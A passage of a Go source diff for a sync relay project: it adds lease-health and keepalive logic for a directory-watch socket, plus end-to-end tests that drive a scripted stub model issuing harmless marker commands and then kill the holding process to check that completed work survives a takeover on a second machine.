healthy only while every part of the proof stands; in each other +// case the holder must report it is not, so that the heartbeats go on. +func TestHolderBeatsWhileSocketDown(t *testing.T) { + r := newHolderRig(t, 1) + mine := hold{"c1", 7} + w := r.holder.Take(mine) + defer w.Release() + if w.Healthy() { + t.Fatal("healthy before the socket was ever open") + } + s := r.socket() + if w.Healthy() { + t.Fatal("healthy before the socket spoke") + } + r.speak(s, w) + if !w.Healthy() { + t.Fatal("not healthy with the socket open, vouching, naming the hold and just heard from") + } + + other := r.holder.Take(hold{"c2", 1}) // past the cap of one: never named + defer other.Release() + if other.Healthy() { + t.Fatal("a hold the socket was not dialled with, and past the cap, is healthy") + } + + r.clock.mu.Lock() + r.clock.now = r.clock.now.Add(DeadAfter + time.Second) + r.clock.mu.Unlock() + if w.Healthy() { + t.Fatal("healthy although the last sign of life is older than DeadAfter") + } +} + +func TestHolderIsNotHealthyWithoutTheVouchingWord(t *testing.T) { + r := newHolderRig(t, 4) + r.vouch = false + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + r.speak(r.socket(), w) + if w.Healthy() { + t.Fatal("healthy on a socket whose server did not say it vouches") + } +} + +func TestHolderIsNotHealthyWhenTheSocketDrops(t *testing.T) { + r := newHolderRig(t, 4) + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + s := r.socket() + r.speak(s, w) + s.send(Frame{}, context.Canceled) + for deadline := time.Now().Add(5 * time.Second); w.feed.snapshot().Up; time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatal("the holder never noticed the socket failed") + } + } + if w.Healthy() { + t.Fatal("healthy after the socket failed") + } +} + +func TestHolderIsNotHealthyForAnotherFence(t *testing.T) { + r := newHolderRig(t, 4) + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + r.speak(r.socket(), w) + stale := &Holding[hold]{holder: r.holder, feed: w.feed, hold: hold{"c1", 6}} + if stale.Healthy() { + t.Fatal("a socket that named fence 7 is healthy for fence 6") + } +} + +// What the socket names is fixed at the dial, so a hold that changes the set +// ends the socket and dials again naming the new set; giving a hold up does too. +func TestHolderRedialsWhenTheHoldSetChanges(t *testing.T) { + r := newHolderRig(t, 4) + a := r.holder.Take(hold{"c1", 1}) + defer a.Release() + s := r.socket() + r.speak(s, a) + + b := r.holder.Take(hold{"c2", 2}) + r.clock.tick(redialWait) // the old socket is ended; the new dial waits the ladder's first, jittered rung + s2 := r.socket() + select { + case <-s.closed: + case <-time.After(5 * time.Second): + t.Fatal("the old socket was kept") + } + r.speak(s2, a) // a socket that worked starts the ladder over + if got := r.dials(); len(got) != 2 || len(got[1]) != 2 || got[1][0] != (hold{"c1", 1}) || got[1][1] != (hold{"c2", 2}) { + t.Fatalf("dials = %v, want the second to name both holds", got) + } + + b.Release() + r.clock.tick(redialWait) + r.socket() + if got := r.dials(); len(got) != 3 || len(got[2]) != 1 || got[2][0] != (hold{"c1", 1}) { + t.Fatalf("dials = %v, want the third to name the remaining hold", got) + } +} + +// Two holders of the same hold change nothing about what is named. +func TestHolderDoesNotRedialForARepeatedHold(t *testing.T) { + r := newHolderRig(t, 4) + a := r.holder.Take(hold{"c1", 1}) + defer a.Release() + s := r.socket() + r.speak(s, a) + b := r.holder.Take(hold{"c1", 1}) + b.Release() + select { + case <-s.closed: + t.Fatal("the socket was ended for a hold it already named") + case <-time.After(50 * time.Millisecond): + } +} diff --git a/internal/dirwatch/keeper.go b/internal/dirwatch/keeper.go new file mode 100644 index 0000000000..febe14f4ef --- /dev/null +++ b/internal/dirwatch/keeper.go @@ -0,0 +1,56 @@ +package dirwatch + +import "time" + +// keeper decides when a quiet socket is pinged and when it is called dead. It +// owns one timer that is always either "time to ping" or "the ping is overdue". +type keeper struct { + clock Clock + timer Timer + armed time.Time + span time.Duration + outstanding bool // a ping has gone out and nothing has been heard since +} + +func newKeeper(c Clock) *keeper { + k := &keeper{clock: c} + k.arm(KeepEvery) + return k +} + +// arm restarts the timer for d. +func (k *keeper) arm(d time.Duration) { + if k.timer != nil { + k.timer.Stop() + } + k.span, k.armed, k.timer = d, k.clock.Now(), k.clock.NewTimer(d) +} + +// C is the channel the timer fires on. +func (k *keeper) C() <-chan time.Time { return k.timer.C() } + +// heard files any sign of life: an answered ping is forgiven and the quiet +// wait starts over from now. +func (k *keeper) heard() { + if k.outstanding { + k.outstanding = false + k.arm(KeepEvery) + } +} + +// dead reports, once the timer has fired, whether the socket should be given +// up. An unanswered ping is a dead socket. So is a timer that fired much later +// than it was set for by the wall clock: the machine slept, and whatever was +// on the other end of the socket has forgotten it. +func (k *keeper) dead() bool { + return k.outstanding || k.clock.Now().Sub(k.armed) > 2*k.span +} + +// pinged notes that a ping went out and gives the answer PongWithin to arrive. +func (k *keeper) pinged() { + k.outstanding = true + k.arm(PongWithin) +} + +// stop releases the timer. +func (k *keeper) stop() { k.timer.Stop() } diff --git a/internal/dirwatch/stream.go b/internal/dirwatch/stream.go new file mode 100644 index 0000000000..184642f0cd --- /dev/null +++ b/internal/dirwatch/stream.go @@ -0,0 +1,86 @@ +package dirwatch + +import ( + "context" + "errors" + "time" +) + +// Stream is one open socket, as the feed needs it. +type Stream interface { + // Next waits for the next sign of life: a version frame, or the answer to a + // ping. A refusal the server closed the socket with comes back as the + // sentinel it names. + Next(ctx context.Context) (Frame, error) + // Ping asks the server to answer, which is how a quiet socket is told from + // a dead one. + Ping(ctx context.Context) error + // Vouching says whether the server answered the upgrade with the word that + // it counts this socket as proof of life for the leases it names. A server + // that never says so is an old one, and its socket proves nothing. + Vouching() bool + Close() +} + +// Frame is what arrived: the directory's version, an event, or only a pong. +type Frame struct { + Version uint64 + Pong bool + // Event is set for an event frame (it has no version); nil otherwise. + Event *Event +} + +// Dialer opens one socket. +type Dialer func(ctx context.Context) (Stream, error) + +// The ways a socket ends that are not "try again". +var ( + // ErrNoRoute is a relay that has no watch route: an old or a self-hosted one. + ErrNoRoute = errors.New("dirwatch: this relay has no watch route") + // ErrRevoked and ErrRotated are the server saying the device is revoked or + // the identity replaced. Reconnecting would only be refused again; the list + // read says it in the words every surface already uses. + ErrRevoked = errors.New("dirwatch: device revoked") + ErrRotated = errors.New("dirwatch: identity rotated") + // ErrSilent is the relay saying it stopped hearing this device and closed + // the socket. It is not a refusal: the device is welcome, so the feed dials + // again at once. + ErrSilent = errors.New("dirwatch: the relay stopped hearing this socket") +) + +// The close codes the server ends a socket with, and the sentinels they mean. +const ( + CloseRevoked = 4401 + CloseRotated = 4410 + // CloseSilent ends a socket whose last sign of life was too old; the + // device is announced offline and must redial (STAGE-1-CONTRACTS.md 21.12.4). + CloseSilent = 4408 +) + +// The pace of the feed. Each number is here once. +const ( + // KeepEvery is how often a quiet socket pings: every 10 s, the beat + // STAGE-1-CONTRACTS.md 21.12 gives. The relay derives the window in which + // it counts this device online from the beat the dial declares, and the + // directory package derives that declaration from this constant, so the + // two halves cannot drift. The relay answers a ping without waking + // anything, so it costs nothing, and it keeps a middlebox that drops idle + // connections from dropping this one. + KeepEvery = 10 * time.Second + // DeadAfter is how long a socket may stay silent before it is dead: 2.5 + // beats, 25 s. That tolerates one lost pong and a late second one, the + // same factor the relay uses for its presence window. + DeadAfter = KeepEvery * 5 / 2 + // PongWithin is how long a ping may go unanswered: what is left of DeadAfter + // once the quiet wait before the ping has passed. + PongWithin = DeadAfter - KeepEvery + // RetryBase and RetryCap bound the full-jitter wait between reconnects: the + // ceiling doubles from the base up to the cap, and the wait is anywhere + // below the ceiling, so many devices that lost the relay together do not + // return together. + RetryBase = time.Second + RetryCap = time.Minute + // ProbeEvery is how long a relay without the route is left alone before it + // is asked once more, because it may have been upgraded. + ProbeEvery = time.Hour +) diff --git a/internal/e2e/durability_brain_test.go b/internal/e2e/durability_brain_test.go new file mode 100644 index 0000000000..074eb5975a --- /dev/null +++ b/internal/e2e/durability_brain_test.go @@ -0,0 +1,258 @@ +//go:build e2e + +package e2e + +// THE SCRIPTED MODEL THE DURABILITY RUNS DRIVE THE REAL BINARY WITH. +// +// A kill is only repeatable when the moment of the kill is known, so the model +// is a script that also keeps the clock: it knows when each tool call finished +// (the next request arrives carrying that call's result, and the seat seals a +// call before it hands the result back) and when each call was started (the +// instant it sent the call). The runs read those two clocks and nothing else to +// decide when to kill. + +import ( + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" +) + +const durabilityModel = "stub/scripted" + +// brainStep is one turn of the script: wait, then call bash with cmd. An empty +// cmd is the end of the script: the model waits `wait` and then answers in words. +type brainStep struct { + wait time.Duration + cmd string +} + +// forever is a wait no run outlives: the model that has nothing more to say yet. +const forever = time.Hour + +// brain is the scripted endpoint and its two clocks, both indexed by the count +// of tool results the request carried. +type brain struct { + server *httptest.Server + script []brainStep + + mu sync.Mutex + finished map[int]time.Time // results carried -> when the request that carried them arrived + started map[int]time.Time // results carried -> when the answer to that request began + done chan struct{} +} + +func newBrain(t *testing.T, script ...brainStep) *brain { + t.Helper() + b := &brain{script: script, finished: map[int]time.Time{}, started: map[int]time.Time{}, done: make(chan struct{})} + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/models", b.models) + mux.HandleFunc("/api/v1/chat/completions", b.complete) + b.server = httptest.NewServer(mux) + t.Cleanup(func() { close(b.done); b.server.CloseClientConnections(); b.server.Close() }) + return b +} + +func (b *brain) url() string { return b.server.URL + "/api/v1" } + +func (b *brain) models(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + _, _ = fmt.Fprintf(w, `{"data":[{"id":%q,"canonical_slug":%q,"name":"Scripted stub","context_length":200000, + "architecture":{"input_modalities":["text"],"output_modalities":["text"]}, + "pricing":{"prompt":"0","completion":"0","request":"0","input_cache_read":"0"}, + "supported_parameters":["tools","tool_choice","max_tokens"]}]}`, durabilityModel, durabilityModel) +} + +// request is the part of a completion request the script reads. +type request struct { + Messages []struct { + Role string `json:"role"` + Content any `json:"content"` + } `json:"messages"` + Tools []json.RawMessage `json:"tools"` +} + +func (r request) results() int { + n := 0 + for _, m := range r.Messages { + if strings.EqualFold(m.Role, "tool") { + n++ + } + } + return n +} + +// probeWords is the one message the script answers: the conversation's own turn. +// Every other request that carries tools (the errands the chat runs for itself, +// a task's worker) is answered in words, so only one agent follows the script. +const probeWords = "run the probe" + +// mine says whether the request is the conversation's own turn: the first +// message the person sent is the probe. +func (r request) mine() bool { + for _, m := range r.Messages { + if m.Role == "user" { + text, _ := m.Content.(string) + return strings.Contains(text, probeWords) + } + } + return false +} + +// complete answers an errand with no tools (a title, say) at once and in words, +// and the conversation's own turn from the script. +func (b *brain) complete(w http.ResponseWriter, r *http.Request) { + var req request + _ = json.NewDecoder(r.Body).Decode(&req) + if len(req.Tools) == 0 || !req.mine() { + writeWords(w, "ok") + return + } + n := req.results() + b.note(b.finished, n) + step, ok := b.stepAt(n) + if !ok { + writeWords(w, "done") + return + } + select { + case <-time.After(step.wait): + case <-r.Context().Done(): + return + case <-b.done: + return + } + b.note(b.started, n) + if step.cmd == "" { + writeWords(w, "done") + return + } + writeBash(w, n, step.cmd) +} + +func (b *brain) stepAt(n int) (brainStep, bool) { + if n >= len(b.script) { + return brainStep{}, false + } + return b.script[n], true +} + +// note keeps the first time a count was seen: a retry of the same request is not +// a second completion. +func (b *brain) note(into map[int]time.Time, n int) { + b.mu.Lock() + defer b.mu.Unlock() + if _, ok := into[n]; !ok { + into[n] = time.Now() + } +} + +// finishedAt waits for the call that made the carried count n, and answers when +// it finished. ok is false when it never did within d. +func (b *brain) finishedAt(n int, d time.Duration) (time.Time, bool) { + return b.await(b.finished, n, d) +} + +// startedAt waits for the call number n+1 to begin, and answers when it did. +func (b *brain) startedAt(n int, d time.Duration) (time.Time, bool) { return b.await(b.started, n, d) } + +func (b *brain) await(from map[int]time.Time, n int, d time.Duration) (time.Time, bool) { + for deadline := time.Now().Add(d); time.Now().Before(deadline); time.Sleep(10 * time.Millisecond) { + b.mu.Lock() + at, ok := from[n] + b.mu.Unlock() + if ok { + return at, true + } + } + return time.Time{}, false +} + +// finishTimes is every count that has been seen, with when, oldest first by count. +func (b *brain) finishTimes() map[int]time.Time { + b.mu.Lock() + defer b.mu.Unlock() + out := make(map[int]time.Time, len(b.finished)) + for n, at := range b.finished { + out[n] = at + } + return out +} + +// completed is how many calls have returned to the model: the most results any +// request has carried. +func (b *brain) completed() int { + b.mu.Lock() + defer b.mu.Unlock() + most := 0 + for n := range b.finished { + most = max(most, n) + } + return most +} + +// mark is the command of call number i: it leaves a file and prints a word, so +// the tree and the transcript each carry one fact per call. +func mark(i int) string { + return fmt.Sprintf("echo MARK-%d > m%d.txt && echo MARK-%d", i, i, i) +} + +// marks is count quick calls, wait apart, then the end of the script. +func marks(count int, wait time.Duration) []brainStep { + var steps []brainStep + for i := 1; i <= count; i++ { + steps = append(steps, brainStep{wait: wait, cmd: mark(i)}) + } + return append(steps, brainStep{wait: forever}) +} + +func openStream(w http.ResponseWriter) (func(string), bool) { + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "the script needs a flushable writer", http.StatusInternalServerError) + return nil, false + } + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(http.StatusOK) + return func(payload string) { _, _ = fmt.Fprintf(w, "data: %s\n\n", payload); flusher.Flush() }, true +} + +func chunk(delta, reason string) string { + if reason == "" { + reason = "null" + } else { + reason = fmt.Sprintf("%q", reason) + } + return fmt.Sprintf(`{"id":"script","object":"chat.completion.chunk","created":%d,"model":%q,"provider":"stub",`+ + `"choices":[{"index":0,"delta":%s,"finish_reason":%s}],`+ + `"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2,"cost":0}}`, + time.Now().Unix(), durabilityModel, delta, reason) +} + +func writeWords(w http.ResponseWriter, words string) { + send, ok := openStream(w) + if !ok { + return + } + send(chunk(`{"role":"assistant","content":""}`, "")) + send(chunk(fmt.Sprintf(`{"content":%q}`, words), "")) + send(chunk(`{}`, "stop")) + send("[DONE]") +} + +func writeBash(w http.ResponseWriter, n int, command string) { + send, ok := openStream(w) + if !ok { + return + } + args, _ := json.Marshal(map[string]string{"command": command}) + quoted, _ := json.Marshal(string(args)) + send(chunk(`{"role":"assistant","content":""}`, "")) + send(chunk(fmt.Sprintf(`{"tool_calls":[{"index":0,"id":"call_%d","type":"function","function":{"name":"bash","arguments":%s}}]}`, n, quoted), "")) + send(chunk(`{}`, "tool_calls")) + send("[DONE]") +} diff --git a/internal/e2e/durability_hosted_e2e_test.go b/internal/e2e/durability_hosted_e2e_test.go new file mode 100644 index 0000000000..0a279f6379 --- /dev/null +++ b/internal/e2e/durability_hosted_e2e_test.go @@ -0,0 +1,916 @@ +//go:build e2e + +package e2e + +// NOTHING COMPLETED IS EVER LOST, AGAINST THE HOSTED RELAY. +// +// The real binary is the holding machine (home A, in a real terminal) and runs +// a scripted model, so every tool call is the same call every time and the +// moment it finished is known to the millisecond. The relay is the one +// CODEAF_RELAY names. A machine that dies mid-work is simulated by what really +// kills one: SIGKILL, a dead network, a frozen process. Then the other machine +// (home B, in this process, over the same real take path the chat uses) takes +// the chat over, and the run counts: calls completed on A against calls present +// on B. Every test ends in one DURABILITY line that says PASS or FAIL and the +// two numbers. +// +// One identity per run, made fresh and shared between the homes, so a run never +// meets another run's chats on the relay. The relay is CODEAF_RELAY (relayenv_test.go); +// with it unset the suite skips and says why. +// +// go test -tags e2e -count=1 -run TestDurability -v -timeout 40m ./internal/e2e/ + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "fmt" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "sync" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// durable is one run's world: two homes of one identity, the scripted model, +// the proxy that can cut the holder's network, and the chat on A. +type durable struct { + t *testing.T + relay string + homeA string + homeB string + ws string + brain *brain + proxy *cutProxy + a *rig + // launcher is words that wrap the chat's launch, or none. + launcher []string + roots string // where B keeps the chats it takes +} + +func newDurable(t *testing.T, script ...brainStep) *durable { + t.Helper() + if _, err := exec.LookPath("tmux"); err != nil { + t.Skip("no tmux on PATH: this suite drives the real binary in a real terminal") + } + relay := relayUnderTest(t) + overrides := map[string]any{ + "model.talk": durabilityModel, "model.work": durabilityModel, "model.plan": durabilityModel, + "models.tiers.worker": durabilityModel, "models.tiers.high": durabilityModel, + "tools.approvalMode": "allow", "daily_budget_usd": 0, "model_pool": "off", + } + d := &durable{t: t, relay: relay, roots: t.TempDir(), brain: newBrain(t, script...), proxy: newCutProxy(t)} + d.homeA, d.homeB = newHome(t, overrides), newHome(t, overrides) + d.ws = newWorkspace(t, "durable", false) + shareIdentity(t, d.homeA, d.homeB) + return d +} + +// env is what the holder is started with: the scripted model, the relay, and +// the cuttable proxy as the only road to the relay. +func (d *durable) env() []string { + return []string{ + "OPENROUTER_API_KEY=stub-key", "CODEAF_BASE_URL=" + d.brain.url(), + "CODEAF_SYNC_URL=" + d.relay, + "HTTPS_PROXY=" + d.proxy.url(), "https_proxy=" + d.proxy.url(), + "CODEAF_TASK_BELT=node", + } +} + +// startA opens the chat on A and sends the one message that makes the script run. +func (d *durable) startA(name string, more ...string) { + d.t.Helper() + args := append([]string{"chat", "--model", durabilityModel, "--one-model", "--no-host"}, more...) + d.a = startWithEnv(d.t, append(d.env(), d.launcher...), name, d.homeA, d.ws, 140, 40, args...) + d.a.skipSetup(d.t) +} + +func (d *durable) say(text string) { + d.a.lit(text) + d.a.keys("Enter") +} + +// pidA is the chat process, verified to be the binary under test before anyone +// signals it: the pane's own pid, or the one process under it that runs the +// binary when the chat was started under [freezable]. Never a pattern match. +func (d *durable) pidA() int { + d.t.Helper() + raw, err := exec.Command("tmux", "display-message", "-p", "-t", d.a.name, "#{pane_pid}").Output() + pane, _ := strconv.Atoi(strings.TrimSpace(string(raw))) + candidates := []int{pane} + kids, _ := os.ReadFile(fmt.Sprintf("/proc/%d/task/%d/children", pane, pane)) + for _, k := range strings.Fields(string(kids)) { + n, _ := strconv.Atoi(k) + candidates = append(candidates, n) + } + for _, pid := range candidates { + if exe, _ := os.Readlink(fmt.Sprintf("/proc/%d/exe", pid)); pid > 0 && exe == binary(d.t) { + return pid + } + } + d.t.Fatalf("no process under pane %d runs the binary under test (%v)", pane, err) + return 0 +} + +// freezable is the words that run the chat as a child of a launcher that stays +// in the pane, in the pane's own group. tmux resumes any pane process that stops +// (it sends the process SIGCONT), which would undo a SIGSTOP and make a lid that +// never closes; it is told only of its own child, so a stopped grandchild stays +// stopped. The chat keeps the terminal on its input. The words go last in the +// environment list, so the launcher runs them and passes the rest of its own +// command line to them. +var freezable = []string{"bash", "-c", `env "$@" <&0 & wait $!`, "_"} + +func (d *durable) signalA(sig syscall.Signal) { + d.t.Helper() + if err := syscall.Kill(d.pidA(), sig); err != nil { + d.t.Fatalf("signal %v: %v", sig, err) + } +} + +// at sleeps until t0+after, and answers the moment it woke. +func at(t0 time.Time, after time.Duration) { + time.Sleep(time.Until(t0.Add(after))) +} + +// chatRoot is A's folder of the chat: the one that holds a transcript. +func (d *durable) chatRoot() string { + d.t.Helper() + for path := range sessionTranscripts(d.t, d.homeA) { + return filepath.Dir(filepath.Dir(path)) // the transcript lives in the chat's .cell folder + } + d.t.Fatalf("no chat folder under %s", d.homeA) + return "" +} + +func (d *durable) chatID() string { return filepath.Base(d.chatRoot()) } + +// chatIDSoon is chatID for a chat that may not have its folder yet. +func (d *durable) chatIDSoon() string { + d.t.Helper() + for deadline := time.Now().Add(30 * time.Second); time.Now().Before(deadline); time.Sleep(50 * time.Millisecond) { + for path := range sessionTranscripts(d.t, d.homeA) { + return filepath.Base(filepath.Dir(filepath.Dir(path))) + } + } + d.t.Fatalf("the chat never got a folder under %s", d.homeA) + return "" +} + +// headWatch reads the relay's head for the chat from the other machine's seat, +// as often as it can, and keeps when each new head was first seen. It is how a +// run knows how long a call took to become durable, with no help from A. +type headWatch struct { + mu sync.Mutex + seen []headSeen + stop chan struct{} +} + +type headSeen struct { + at time.Time + head string +} + +func (b *machineB) watchHead(id string) *headWatch { + w := &headWatch{stop: make(chan struct{})} + b.d.t.Cleanup(w.Stop) + go func() { + for { + select { + case <-w.stop: + return + case <-time.After(100 * time.Millisecond): + } + if v, err := b.sync.Dir.Cell(context.Background(), id); err == nil { + w.note(v.Cell.Head) + } + } + }() + return w +} + +func (w *headWatch) note(head string) { + w.mu.Lock() + defer w.mu.Unlock() + if n := len(w.seen); head != "" && (n == 0 || w.seen[n-1].head != head) { + w.seen = append(w.seen, headSeen{time.Now(), head}) + } +} + +func (w *headWatch) Stop() { + w.mu.Lock() + defer w.mu.Unlock() + select { + case <-w.stop: + default: + close(w.stop) + } +} + +// durableAfter is how long after t0 the relay's head first moved, or 0 when it had not. +func (w *headWatch) durableAfter(t0 time.Time) time.Duration { + w.mu.Lock() + defer w.mu.Unlock() + for _, h := range w.seen { + if h.at.After(t0) { + return h.at.Sub(t0).Round(10 * time.Millisecond) + } + } + return 0 +} + +// ── B: the other machine ───────────────────────────────────────────────────── + +// machineB is home B's sync and the engine it takes through, in this process. +type machineB struct { + sync *syncsetup.Sync + eng cellstore.Engine + d *durable +} + +func (d *durable) machineB() *machineB { + d.t.Helper() + d.t.Setenv("CODEAF_HOME", d.homeB) + d.t.Setenv("CODEAF_SYNC_URL", d.relay) + d.t.Setenv("HTTPS_PROXY", "") + d.t.Setenv("https_proxy", "") + s, ok, err := syncsetup.Open(d.homeB) + if err != nil || !ok { + d.t.Fatalf("home B cannot open the relay: ok=%v err=%v", ok, err) + } + bin, err := furrow.ResolveOwned() + if err != nil { + d.t.Fatal(err) + } + eng := cellstore.EngineFor("") + eng.DataRoot, eng.Binary, eng.Transport = d.t.TempDir(), bin, cellstore.Spawn{Binary: bin} + return &machineB{sync: s, eng: eng, d: d} +} + +// take continues chat id on B, in a folder of B's own. +func (b *machineB) take(id string) (cell.Cell, error) { + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + defer cancel() + c := b.sync.Continuer(b.eng, syncsetup.TakeOptions{DeviceName: "machine-b", + RootFor: func(id string) string { return filepath.Join(b.d.roots, id) }, + Notify: func(s string) { b.d.t.Logf("B: %s", s) }}) + got, err := c.Take(ctx, id) + return got.Taken.Cell, err +} + +// ── counting ───────────────────────────────────────────────────────────────── + +var markWord = regexp.MustCompile(`MARK-(\d+)`) + +// callsIn is the calls a chat folder holds as COMPLETED: the marks the +// transcript carries in a tool result, and the marks the tree carries as files. +// A call counts as present only when both agree, so a result without its file +// (or a file without its result) is reported as the difference it is. +func callsIn(root string) (results, files map[int]bool) { + results, files = map[int]bool{}, map[int]bool{} + raw, _ := os.ReadFile(filepath.Join(root, ".cell", "transcript.jsonl")) + for _, line := range strings.Split(string(raw), "\n") { + if !strings.Contains(line, `"role":"tool"`) && !strings.Contains(line, `"role": "tool"`) { + continue + } + for _, m := range markWord.FindAllStringSubmatch(line, -1) { + n, _ := strconv.Atoi(m[1]) + results[n] = true + } + } + tree := workspaceFolder(root) + found, _ := filepath.Glob(filepath.Join(tree, "m*.txt")) + for _, f := range found { + if n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(filepath.Base(f), "m"), ".txt")); err == nil { + files[n] = true + } + } + return results, files +} + +// workspaceFolder is the tree a taken chat landed in. +func workspaceFolder(root string) string { + if w := filepath.Join(root, "work"); dirExists(w) { + return w + } + return root +} + +func dirExists(p string) bool { st, err := os.Stat(p); return err == nil && st.IsDir() } + +func sorted(m map[int]bool) string { + var ns []int + for n := range m { + ns = append(ns, n) + } + for i := range ns { + for j := i + 1; j < len(ns); j++ { + if ns[j] < ns[i] { + ns[i], ns[j] = ns[j], ns[i] + } + } + } + return fmt.Sprint(ns) +} + +// verdict states the run's one line, and fails the test when a call the holder +// completed is missing on B. A call is present when BOTH its effect (the file it +// wrote, in the tree) and its record (the tool result, in the transcript) are +// there; the two are counted apart because they are sealed apart. +// +// A row that lost work is not a failure when the kill came sooner than the relay +// could have acknowledged any upload: unreachable says whether it did. Such a row +// is stated as UNREACHABLE with the floor it was measured against. +func (d *durable) verdict(mode string, completed int, got cell.Cell, unreachable func() (bool, time.Duration), note string) { + d.t.Helper() + results, files := callsIn(got.Root) + var lostEffects, lostRecords []int + for i := 1; i <= completed; i++ { + if !files[i] { + lostEffects = append(lostEffects, i) + } + if !results[i] { + lostRecords = append(lostRecords, i) + } + } + // FAIL means a completed call's WORK is missing on B. FAIL-RECORD means every + // call's work arrived and only the tool-result lines of the transcript did + // not: the transcript is sealed one call behind the work (see BENCH-MOVE). + status := "PASS" + switch { + case len(lostEffects) > 0: + status = "FAIL" + case len(lostRecords) > 0: + status = "FAIL-RECORD" + } + if cannot, floor := unreachable(); status != "PASS" && cannot { + status, note = "UNREACHABLE", fmt.Sprintf("%s relayAckFloor=%v", note, floor) + } + if status != "PASS" && status != "UNREACHABLE" { + d.t.Fail() + } + d.t.Logf("DURABILITY %s mode=%s completedOnA=%d effectsOnB=%s recordsOnB=%s lostEffects=%v lostRecords=%v %s", + status, mode, completed, sorted(files), sorted(results), lostEffects, lostRecords, note) +} + +// waitDirectory waits until the relay holds a head for the chat, and answers the cell. +func (d *durable) waitDirectory(b *machineB, id string, within time.Duration) (directory.Cell, bool) { + for deadline := time.Now().Add(within); time.Now().Before(deadline); time.Sleep(250 * time.Millisecond) { + v, err := b.sync.Dir.Cell(context.Background(), id) + if err == nil && v.Cell.Head != "" { + return v.Cell, true + } + } + return directory.Cell{}, false +} + +// ── the moments a run kills at ─────────────────────────────────────────────── + +// anchor is a clock of the script: when call n finished, or when call n+1 began. +type anchor func(b *brain, within time.Duration) (time.Time, bool) + +func finished(n int) anchor { + return func(b *brain, w time.Duration) (time.Time, bool) { return b.finishedAt(n, w) } +} +func began(n int) anchor { + return func(b *brain, w time.Duration) (time.Time, bool) { return b.startedAt(n, w) } +} + +// holdRun is one holder run up to the moment of a failure: the chat is open, the +// message is sent, the head is being watched from B, and the anchor has come. +type holdRun struct { + d *durable + b *machineB + id string + watch *headWatch + t0 time.Time + after time.Duration // how long after the anchor the ending was applied + killedAt time.Time // when the ending was applied +} + +func (d *durable) begin(name string, from anchor) *holdRun { + d.t.Helper() + b := d.machineB() + d.startA(name) + d.say(probeWords) + id := d.chatIDSoon() + s := &holdRun{d: d, b: b, id: id, watch: b.watchHead(id)} + t0, ok := from(d.brain, 120*time.Second) + if !ok { + d.t.Fatalf("the script never reached its anchor:\n%s", d.a.capture()) + } + s.t0 = t0 + return s +} + +// ending is what a run does to the holder at t0+after, before B takes over. +type ending func(s *holdRun) + +func sigkill(s *holdRun) { s.d.signalA(syscall.SIGKILL) } + +// strike waits until after the anchor and applies the ending. +func (s *holdRun) strike(after time.Duration, end ending) { + at(s.t0, after) + s.after, s.killedAt = after, time.Now() + end(s) +} + +// finish takes the chat on B from A's dead machine and states the verdict. The +// project folder is moved out of B's sight first, as it is when B is another +// computer, so the take must bring the files from the relay. +func (s *holdRun) finish(mode, note string) { + s.d.t.Helper() + completed := s.d.brain.completed() + s.d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + s.noTake(mode, completed, err) + return + } + s.d.logSyncStats() + s.d.verdict(mode, completed, got, s.beforeAck, fmt.Sprintf("%s durableAfterAnchor=%v timeline=%s", note, s.watch.durableAfter(s.t0), s.timeline())) +} + +// noTake states a run whose chat B could not take at all: the relay never heard +// of it. It is a failure unless the kill came before the relay could have stored anything. +func (s *holdRun) noTake(mode string, completed int, err error) { + s.d.t.Helper() + if cannot, floor := s.beforeAck(); cannot { + s.d.t.Logf("DURABILITY UNREACHABLE mode=%s completedOnA=%d: B could not take the chat (%v) relayAckFloor=%v killedAfterAnchor=%v", mode, completed, err, floor, s.after) + return + } + s.d.t.Fatalf("DURABILITY FAIL mode=%s completedOnA=%d: B could not take the chat: %v", mode, completed, err) +} + +// beforeAck says whether the ending came sooner after the anchor than the relay +// takes to acknowledge an upload, which is the one physical limit on durability: +// a chat that is killed before the relay has stored what it sent has nothing +// there to take over. The floor is the fastest of a few probe puts. +func (s *holdRun) beforeAck() (bool, time.Duration) { + floor := s.b.ackFloor() + return s.after < floor, floor +} + +// ackFloor is the fastest of three single-object frame puts to the relay, so it +// holds no queueing and no transfer time: only the relay's own time to store a frame. +func (b *machineB) ackFloor() time.Duration { + floor := time.Hour + for i := 0; i < 3; i++ { + frame, err := blobstore.Encode(strings.Repeat("0", 32), []blobstore.Object{probeObject(i)}) + if err != nil { + b.d.t.Fatal(err) + } + t0 := time.Now() + if _, err := b.sync.Store.PutFrame(context.Background(), frame); err != nil { + b.d.t.Fatalf("the relay refused a probe frame: %v", err) + } + floor = min(floor, time.Since(t0)) + } + return floor.Round(10 * time.Millisecond) +} + +// probeObject is a sealed-looking object no other run holds: its id is the hash +// of a time-and-counter label, so each probe is a new frame and a put, not a repeat. +func probeObject(i int) blobstore.Object { + label := fmt.Sprintf("ack-floor-%d-%d", time.Now().UnixNano(), i) + return blobstore.Object{RID: hex.EncodeToString(sha256Sum(label)), Bytes: append([]byte("AGEO\x01"), label...)} +} + +func sha256Sum(s string) []byte { h := sha256.Sum256([]byte(s)); return h[:] } + +// timeline is every call's finish and every head the relay showed, in seconds +// from the moment the first call finished, so a lost call can be read against +// the upload window it fell in. +func (s *holdRun) timeline() string { + finishes := s.d.brain.finishTimes() + zero := finishes[1] + rel := func(t time.Time) string { return 